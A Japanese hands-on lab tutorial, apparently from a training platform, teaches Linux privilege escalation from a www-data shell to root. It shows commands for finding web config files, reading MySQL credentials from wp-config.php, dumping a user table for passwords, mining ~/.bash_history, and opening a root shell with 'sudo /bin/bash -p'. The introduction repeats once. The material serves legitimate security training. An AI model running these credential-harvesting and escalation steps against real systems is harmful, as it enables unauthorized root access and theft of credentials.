はじめに
この実験では、Linux システム上の機密性の高い設定ファイルを見つけ、それを悪用して特権を root に昇格させる方法を学びます。目的は、Web サービスの設定ファイルやユーザー関連の設定ファイルを深く理解し、それらを特権昇格に利用する方法を習得することです。Web の脆弱性を通じて、すでに www-data
ユーザーのような低特権のシェルを取得していると仮定し、root へのアクセスを昇格させる手法を探ります。
この実験では、Linux システム上の機密性の高い設定ファイルを見つけ、それを悪用して特権を root に昇格させる方法を学びます。目的は、Web サービスの設定ファイルやユーザー関連の設定ファイルを深く理解し、それらを特権昇格に利用する方法を習得することです。Web の脆弱性を通じて、すでに www-data
ユーザーのような低特権のシェルを取得していると仮定し、root へのアクセスを昇格させる手法を探ります。
Web サービスの設定ファイルには、データベースの資格情報などの機密情報が含まれている場合があります。管理者がパスワードを再利用している場合、これらの情報を特権昇格に利用することができます。
まず、ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
実験環境を初期化しましょう。
./env_setup_1.sh
初期化が完了すると、www-data
ユーザーとして操作を行います。これは、Web の脆弱性を通じて取得した低特権のシェルをシミュレートしています。
Linux 上の Web サービスは通常、/var/www
ディレクトリに保存されています。以下のファイルに注目する必要があります。
database.php
user.php
*.config
config.php
次のコマンドを使用して、これらのファイルを検索することができます。
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
期待される出力:
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
さらに、ターゲットシステムがコンテンツ管理システム (CMS) を使用している場合、その特定の CMS のデフォルトのデータベース接続ファイルの場所を検索することができます。
この実験環境では、サーバーは WordPress CMS を使用しています。検索すると、WordPress のデータベース設定が /var/www/wordpress/wp-config.php
ファイルに保存されていることがわかります。
more /var/www/wordpress/wp-config.php
このファイルには、MySQL の root アカウントの資格情報が含まれています。
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
管理者がパスワードを再利用している可能性を考慮して、このパスワードを使用してシステムの root ユーザーとしてログインを試みることができます。
su -
残念ながら、このパスワードは root ユーザーには適用されません。
次に、MySQL データベースにログインし、さらに情報を検索することができます。
mysql -u root -p -h 127.0.0.1
wp-config.php
ファイルから取得したパスワードを入力します。
cD8M2M8fMiDHu4m1
MySQL データベース内で、以下のコマンドを実行して、さらに情報を収集することができます。
利用可能なデータベースを確認します。
show databases;
ROB
データベースを選択します。
use ROB;
ROB
データベース内のテーブルを一覧表示します。
show tables;
rob_user
テーブルを選択します。
select * from rob_user;
データベースから、さらに 2 組の資格情報を取得します。
root:CMPc5MoAGf
alice:psoj9apv4u
MySQL データベースから抜けます。
exit
パスワード CMPc5MoAGf
を使用して root ユーザーとしてログインを試みることができます。
su -
データベースから取得したパスワードを入力します。
CMPc5MoAGf
今回は、root アクセスを正常に取得できました!
特権昇格が成功したことを証明するために、/root
ディレクトリに proof.txt
という名前のファイルを作成します。
echo "Success" > /root/proof.txt
ファイルが作成されたことを確認します。
ls /root/proof.txt
このステップでは、Web サービスの設定ファイル内の機密情報を見つけ、それを利用して特権を昇格させる方法を学びました。核心的な考え方は、サーバー上の認証資格情報を検索し、パスワードの再利用の可能性を利用して特権を昇格させることです。
このステップでは、機密情報を含む可能性のあるユーザー関連の設定ファイルに焦点を当てます。
前のステップの後、あなたはまだ root シェルでいるかもしれません。このステップでは、以下のコマンドを実行して labex
ユーザーに切り替えます。
su - labex
まず、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
実験環境を初期化しましょう。
./env_setup_2.sh
初期化が完了すると、user001
ユーザーとして操作を行います。
調査する主なユーザー関連の設定ファイルは以下の 2 つです。
~/.bash_profile
: 環境変数や起動プログラムの設定に使用されます。このファイルはユーザーがログインするときに実行されます。~/.bash_history
: 各ユーザーのホームディレクトリにあるファイルで、ユーザーのシェルコマンド履歴を記録します。通常は最後の 1000 個のコマンドが保存されます(一部の Linux ディストリビューションではこの機能が無効になっている場合があります)。まず、~/.bash_profile
ファイルを確認しましょう。
cat ~/.bash_profile
期待される出力:
cat: /home/user001/.bash_profile: No such file or directory
この場合、user001
ユーザーは ~/.bash_profile
ファイルを使用していないようです。
次に、~/.bash_history
ファイルを確認しましょう。
cat ~/.bash_history
ここで、履歴に記録されたコマンドが見つかります。
...
echo user001:09FMWNFS7n | chpasswd
...
このコマンドは、user001
ユーザーのパスワードが 09FMWNFS7n
に変更されたことを示しています。
このパスワードを使用して、特権を昇格させることを試みることができます。
sudo whoami
そして、~/.bash_history
ファイルから見つけたパスワードを入力します。
09FMWNFS7n
パスワードが正しく、sudo
特権でコマンドを実行することができます。
root シェルを取得するには、以下のコマンドを使用することができます。
sudo /bin/bash -p
ユーザーのコマンド履歴からの情報を利用して、正常に root シェルを取得しました。
最後に、/root
ディレクトリに success.txt
という名前のファイルを作成して、実験を完了させます。
echo "Congratulations" | sudo tee /root/success.txt
この実験では、Linux システム上で Web サービスの設定ファイルやユーザー関連の設定ファイル内の機密情報を見つけ、それを利用して特権を昇格させる方法を学びました。データベース接続ファイル、ユーザーのコマンド履歴、その他の設定ファイルなど、認証資格情報を含む可能性のあるファイルを検索する手法を探りました。パスワードの再利用の可能性を利用することで、root アクセスを取得することができました。
重要なポイントは、システム上に保存されている機密情報を常に探し続けることです。これは、特権昇格につながる可能性があるためです。この実験では特定の種類のファイルに焦点を当てましたが、特権昇格の目的で悪用される可能性のあるファイルや情報を常に探し続ける姿勢を持つことが重要です。